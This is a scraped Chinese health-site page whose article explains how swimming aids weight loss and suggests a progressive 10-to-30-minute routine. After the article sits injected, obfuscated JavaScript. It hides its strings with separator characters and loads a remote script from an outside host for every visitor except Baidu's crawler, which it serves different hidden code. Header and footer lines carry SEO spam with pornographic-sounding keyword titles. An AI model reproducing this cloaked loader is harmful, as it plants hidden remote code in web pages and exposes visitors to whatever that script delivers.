久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

游泳堅持多久可以達到減肥效果?

2017-04-21 15:09:51  來源:360常識網   熱度:
導語:游泳是一項非常好的健身運動,特別是現在人們的生活條件好了,很多社區當中就建成了游泳池,可以居住在這里的人們通過游泳來鍛煉身體。而且

游泳是一項非常好的健身運動,特別是現在人們的生活條件好了,很多社區當中就建成了游泳池,可以居住在這里的人們通過游泳來鍛煉身體。而且游泳不但可以強健體魄,還可以有助于減肥,是一種效果非常好的減肥運動。因為在水里面的時候,身體消耗脂肪的能力會大大提升。那么,游泳堅持多久可以減肥呢?

游泳時水的阻力遠遠大于陸上運動時空氣的阻力,在水里走走都費力,再游游水,肯定消耗較多的熱量。同時,水的導熱性大于空氣24倍,水溫一般低于氣溫,這也有利于散熱和熱量的消耗。因此,游泳時消耗的能量較跑步等陸上項目大許多,故減肥效果更為明顯。

人在水中活動的阻力比在陸地上大12倍,手腳在水中運動時,你一定能感受到那強大的阻力,所以背部、胸部、腹部、臀部和腿部的肌肉在游泳當中能夠得到很好的鍛煉,游泳運動員身上那線條鮮明的肌肉,就是最好的證據。

游泳也是一項激烈的運動,而且水的傳熱的速度比空氣要快,也就是說人在水喪失熱量的速度會很快,大量的熱量會在游泳當中消耗掉。身上那些多余的脂肪,也會悄悄的“溶解在水中”。

每天不間斷地均速地游10分鐘,中間休息3分鐘,一共進行3組。如果仍然感到很輕松,就可以開始每次游20分鐘,直到增加到每次游30分鐘為止。如果你感覺強度增加的速度太快,就可以按照你能夠接受的進度進行。30分鐘就可以消耗1100千焦的熱量,而且這樣的代謝速度在你離開水的以后還能保持一段時間,所以游泳是非常理想的減肥方法。

總而言之,想要通過游泳來減肥,還是那句話,一定要持之以恒,要有充足的自信心。不要受到外界因素的干擾,不能兩天打魚三天曬網。而且除了游泳之外,也應該在飲食上多多調理一些,這樣可以讓減肥的效果翻倍,能夠快速減掉身上的肥肉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲久久久 | 香蕉久久一区二区不卡无毒影院 | 国产精品99久久免费观看 | 天天射夜夜爽 | 日韩精品一区在线视频 | 激情开心成人网 | 国产中文视频 | 在线播放国产一区二区三区 | 国产裸体永久免费视频网站 | www国产亚洲 | 性高湖久久久久久久久 | 久久久精彩视频 | 91久久| 涩涩视频在线观看免费 | 精品国产一区二区三区久久久蜜月 | 性高湖久久久久久久久aaaaa | 中文字幕在线观看 | 久久精品免费 | 成人深夜视频 | 特黄特黄a级毛片免费专区 亚洲国产成人在线视频 | 伊人狠狠干 | 亚洲国产精品久久久男人的天堂 | 国产拍拍拍拍拍拍拍拍拍拍拍拍拍 | 国产精品亚洲视频 | 黑人巨大精品欧美一区二区免费 | 91在线免费观看 | 成年人看的羞羞网站 | 亚洲激情在线观看 | 欧美啪啪 | 欧美性猛交久久久乱大交小说 | 国产九九av | 日本一区二区三区视频免费看 | 亚洲高清免费视频 | 视频一区在线播放 | 久久精品这里热有精品 | 亚洲国产精品麻豆 | 日韩一区电影 | 天天干天天操天天爽 | 国产a区| 亚洲一区成人在线观看 | 亚洲日韩欧美一区二区在线 |